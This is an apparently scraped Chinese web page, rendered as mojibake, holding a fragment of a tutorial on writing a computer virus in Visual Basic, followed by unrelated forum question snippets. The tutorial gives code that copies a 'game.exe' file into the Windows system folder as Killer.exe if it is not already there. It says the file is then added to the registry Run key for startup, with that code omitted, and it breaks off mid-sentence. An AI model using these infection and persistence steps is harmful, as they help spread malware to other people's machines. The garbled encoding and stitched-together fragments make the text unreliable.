VB±àд²¡¶¾µÄ´óÌå·½·¨
ÏàÐŵçÄÔ½çµÄÿ¸öÈ˶¼Í´ºÞ¼ÆËã»ú²¡¶¾£¬Ëý¸øÎÒÃÇ´øÀ´Á˺ܶàÂé·³ºÍËðʧ£¬¿ÉÄãÖªµÀ±àд²¡¶¾µÄ·½·¨ºÍ¹ý³ÌÂð£¿ÔÚ´ËÎÒ½öÒÔVB±àдΪÀý£¬½Ò¿ªËýµÄÃæÉ´¡£
ÓÃVB±àд²¡¶¾ÐèÒª¿¼Âǵ½Èçϼ¸µã£º
* ¸ÐȾÖ÷»ú
~~~~~~~~~~
Ê×ÏÈȾ¶¾ÎļþÔËÐкóÏÈÒªÅжÏÖ÷»úÊÇ·ñÒÔ¸ÐȾ²¡¶¾£¬Ò²¾ÍÊÇÅжϲ¡¶¾Ö÷ÌåÎļþÊÇ·ñ´æÔÚ£¬Èç¹û²»´æÔÚÔò½«²¡¶¾Ö÷Ì忽±´µ½Ö¸¶¨Î»ÖÃ(È磺
½«²¡¶¾Îļþ¿½±´µ½c:\windows\system\)£¬¿ÉÓÃfilecopyÓï¾äʵÏÖ£»Èç¹û²¡¶¾ÒѸÐȾÖ÷»úÔò½áÊøÅжϡ£
ÀýÈ磬ÅжÏC:\windows\system\Killer.exeÊÇ·ñ´æÔÚ£¬Èç¹ûÓÐÔòÍ˳öÅжϣ¬Èç¹ûûÓÐÔòÖ¤Ã÷±¾»úδ¸ÐȾ²¡¶¾£¬Á¢¼´¿½È벡¶¾Îļþ¡£
²¡¶¾Ô´ÎļþÃûΪgame.exe
ÉùÃ÷²¿·Ö£º
''¶¨Òå FileExists% º¯Êý
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
´úÂ벿·Ö£º
''ÅжÏÎļþÊÇ·ñ´æÔÚ
success% = FileExists%("C:\windows\system\Killer.exe")
If success% = False Then ''²¡¶¾²»´æÔÚÔò¿½±´²¡¶¾µ½¼ÆËã»ú
FileCopy "game.exe", "C:\windows\system\Killer.exe"
... ''ÐÞ¸Ä×¢²á±í£¬½«Æä¼ÓÈëRUNÖС£(Ê¡ÂÔÈô¸É´úÂë)
End If
* ¿ª»úÆô¶¯²¡¶¾
~~~~~~~~~~~~~~
ÔÚ²¡¶¾¸ÐȾÖ÷»úµÄͬʱ£¬½«×ÔÉí¼ÓÈë×¢²á±íµÄ¿ª»úÔËÐÐÖУ¬ÕâÓëÏòÖ÷»ú¿½È벡¶¾ÊÇͬʱ½øÐеģ¬Ö÷»ú¸ÐȾºó²»ÔÙÐÞ¸Ä×¢²á±í¡£¿ÉÍ
Ïà¹ØÎÊ´ð£º
ÏëÔÚwarcraft3Àï½øÐÐдÆÁ²Ù×÷¡¾Èç¶Ôսƽ̨ÖеÄʤ¸ºÌáʾÐÅÏ¢¡¿£¬Ð§¹û¾ÍÏñÓÎϷƽ̨ÖÐÒ»Ñù£¬ÎÒÊÔ¹ýÔÚÒ»´°¿ÚÖÐдÈëÎÄ×Ö£¬È»ºóÒ»Ö±Èô°¿ÚÇ¿ÖÆ×îǰ£¬ËäÈ»ÄÜʵÏÖÎÄ×ÖÏÔʾ£¬µ«ÊÇÎÄ×ֻ᲻¶ÏÉÁ˸£¬¶øÇÒÓв»È·¶¨BUG£¬Í¨¹ýÂÛ̳ËÑ ......
ÓÃVBÔõôֻÕë¶Ôwindows×Ô´øµÄÎļþµÄÓÒ¼üÌí¼Ó²Ëµ¥ È磨.txt .doc)
Õâ¸öÊÇÖ»Õë¶ÔÒÔÕâÁ½¸öΪÀ©Õ¹ÃûµÄÎļþ²Ù×÷
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\txtfile\shell\[Ëæ±ãÆðÃû]\command]
@= ......
ÔõôÓÅ»¯²éѯµÄЧÂÊ£¬±ÈÈçÎÒÏë´Ó100ÍòÌõ¼Ç¼ÖÐÿ´ÎÖ»²éѯ100Ìõ¼Ç¼µÄ»°£¬ÄÇôÕâÌõsqlÓï¾ä¸ÃÔõôʵÏÖ£¬×¢Ò⣺ÓïÑÔÊÇVBScriptµÄ£¬
http://www.cnblogs.com/anjou/archive/2007/10/17/926944.html
Éæ¼°µ½Ëã·¨£¬goog ......
¾Ý˵javaÓïÑÔÊÇÕâÑùµÄ£¬ÄÇVBÄØ£¿
byte[] b(byte)0x62,(byte)0x11,(byte)0x72,(byte)0x31};
try {
System.out.println(new String(b,"UTF-16"));
} catch (UnsupportedEnco ......